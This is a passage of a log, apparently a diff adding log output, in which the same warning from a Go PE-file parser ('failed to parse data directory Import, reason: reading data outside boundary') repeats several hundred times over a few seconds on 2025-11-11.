+time=2025-11-11T13:53:07+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:07+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:07+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:07+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:07+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:07+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:07+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:07+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:07+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:07+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:07+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:07+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:07+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:07+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:07+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:07+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:07+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:07+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:07+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:07+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:07+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:07+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:07+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:07+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:07+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:07+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:07+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:07+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:07+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:07+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:07+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:07+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:07+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:09+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:09+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:09+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:09+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:09+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:09+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:09+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:09+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:09+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:09+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:09+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:09+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:09+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:09+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:09+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:09+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:09+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:10+01:00 